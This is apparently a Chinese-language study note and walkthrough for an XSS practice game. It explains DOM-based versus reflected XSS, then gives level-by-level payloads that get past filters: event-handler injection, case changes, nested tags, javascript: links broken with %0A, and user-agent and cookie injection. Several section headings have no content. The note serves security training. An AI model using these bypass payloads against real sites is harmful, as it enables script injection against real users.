XSS攻击威胁
DOM型XSS与反射型XSS区别:
与反射型XSS相比,DOM型XSS的区别就在于XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器的DOM解析。
反射型用?
DOM型用#
DOM型XSS在表单提交的参数不会发送至服务器,而是对浏览器本身文档的修改。
XSS防御思路:
弹窗函数:
XSS输出位置与触发方式:
XSS常用HTML标签:
特殊编码:
HTML实体编码的利用绕过waf:
百分再百分---二次编码漏洞:
XSS源码小游戏:
level 1:
查看页面源代码,发现没有做任何防护,直接被代入h标签中执行。
输入<script>alert(1)</script>,成功弹窗。
level 2:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签中的<>做了转义处理,但value中的没有做转义处理。
输入"><script>alert(1)</script>,成功弹窗。
输入"onmouseover="alert(1),鼠标划过输出框,成功弹窗。
level 3:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签和value中的<>都做了转义处理。
输入'onmouseover='alert(1),鼠标划过输出框,成功弹窗。
level 4:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签中的<>做了转义处理,value中直接去掉了<>。
输入"onmouseover="alert(1),鼠标划过输出框,成功弹窗。
level 5:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签中的<>做了转义处理,value中转换为<scr_ipt>。
输入"onmouseover="alert(1),没有弹窗,查看页面源代码,发现value中转换为o_nmouseover。
输入"><a href="javascript:alert(1)">1</a>//,点击1,成功弹窗。
level 6:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签中的<>做了转义处理,value中转换为<scr_ipt>。
输入"onmouseover="alert(1),没有弹窗,查看页面源代码,发现value中转换为o_nmouseover。
输入"><a href="javascript:alert(1)">1</a>//,没有弹窗,查看页面源代码,发现value中转换为hr_ef。
输入"><img src="javascript:alert(1)">1</img>//,没有弹窗,查看页面源代码,发现value中转换为sr_c。
输入"ONmouseover="alert(1),鼠标划过输出框,成功弹窗。
level 7:
输入<script>alert(1)</script>,没有弹窗,查看页面源代码,发现其对h标签中的<>做了转义处理,value中直接去掉了script。
输入"onmouseover="alert(1),没有弹窗,查看页面源代码,发现value中直接去掉了on。
输入"><a href="javascript:alert(1)">1</a>//,没有弹窗,查看页面源代码,发现value中直接去掉了href。
输入"><img src="javascript:alert(1)">1</img>//,没有弹窗,查看页面源代码,发现value中直接去掉了src。
输入"ONmouseover="alert(1),没有弹窗,查看页面源代码,发现value中直接去掉了ON。
输入"><scrscriptipt>alert(1)</scrscriptipt>,成功弹窗。
level 8:
输入"onmouseover="alert(1),没有弹窗,查看页面源代码,发现输入的地方有两个,value和href中都对"做了转义处理。
在url中输入Javascri%0Apt:alert(1),点击友情链接,成功弹窗。
level 9:
查看后台源代码,发现其会检测链接是否合法。
在url中输入Javascri%0Apt:alert(1);//http://,点击友情链接,成功弹窗。
level 10:
查看页面源代码,发现其对表单进行了隐藏处理。
1.可以用burpsuite抓包修改使表单显示。
2.可以在浏览器中实用工具修改表单显示。
在输入框中输入,成功弹窗。
level 11:
与level 10类似,改表单即可。
level 12:
查看后台源代码,发现表单中的隐藏项提交了useragent信息。
可以使用burpsuit抓包修改useragent中的信息为" oninput="alert(1)" type="text,在输入框中输入,成功弹窗。
level 13:
与level 12类似,区别在于修改cookies即可。